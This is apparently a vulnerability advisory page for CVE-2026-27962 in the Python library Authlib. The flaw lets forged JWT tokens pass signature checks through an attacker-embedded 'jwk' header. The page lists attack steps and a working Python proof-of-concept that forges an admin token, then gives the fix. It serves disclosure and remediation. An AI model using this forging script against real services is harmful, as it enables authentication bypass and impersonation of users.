Authlib JWS JWK Header Injection: Signature Verification Bypass
CVE-2026-27962 · GHSA-wvwj-cvrp-7pv5 · PYSEC-2026-287 · published 16 Mar 2026
How serious is it
- Severity: critical, CVSS score 9.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-27962?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
authlib(PyPI) <= 1.6.8
How to check
- Run
pip show authlibin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
authlibto 1.6.9 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Description
### Summary
A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.
### Details
**Vulnerable file:** `authlib/jose/rfc7515/jws.py`
**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`
**Lines:** 272–273
```python
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
```
When `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or
`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.
**RFC 7515 violations:**
- **§4.1.3** explicitly states the `jwk` header parameter is **"NOT RECOMMENDED"** because keys
embedded by the token submitter cannot be trusted as a verification anchor.
- **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application
context*, not from the token itself. There is no step in the RFC that permits falling back to
the `jwk` header when no application key is provided.
**Why this is a library issue, not just a developer mistake:**
The most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.
A developer writes:
```python
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
```
When an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.
The library then silently falls through to `key = header["jwk"]`, trusting the attacker's embedded
key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.
**Attack steps:**
1. Attacker generates an RSA or EC keypair.
2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role": "admin"}`).
3. Attacker signs the JWT with their **private** key.
4. Attacker embeds their **public** key in the JWT `jwk` header field.
5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.
6. The library uses `header["jwk"]` for verification — signature passes.
7. Forged claims are returned as authentic.
### PoC
Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).
**Requirements:**
```
pip install authlib cryptography
```
**Exploit script:**
```python
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
```
**Expected output:**
```
{'sub': 'attacker', 'role': 'admin'}
```
**Docker (self-contained reproduction):**
```bash
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
```
### Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:
- `key=None` is passed directly, **or**
- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk`
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.
**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:
```python
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
```
**Recommended safe replacement** — raise explicitly when no key is resolved:
```python
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
```
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5
- github.com/authlib/authlib/commit/a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681
- github.com/authlib/authlib/releases/tag/v1.6.9
- nvd.nist.gov/vuln/detail/CVE-2026-27962
- access.redhat.com/errata/RHSA-2026:19375
- access.redhat.com/errata/RHSA-2026:24853
- access.redhat.com/errata/RHSA-2026:48085
- access.redhat.com/errata/RHSA-2026:5665
- access.redhat.com/errata/RHSA-2026:7314
- access.redhat.com/security/cve/CVE-2026-27962
- bugzilla.redhat.com/show_bug.cgi?id=2448164
- github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-287.yaml
- pypi.org/project/authlib
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27962.json
- github.com/advisories/GHSA-wvwj-cvrp-7pv5
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON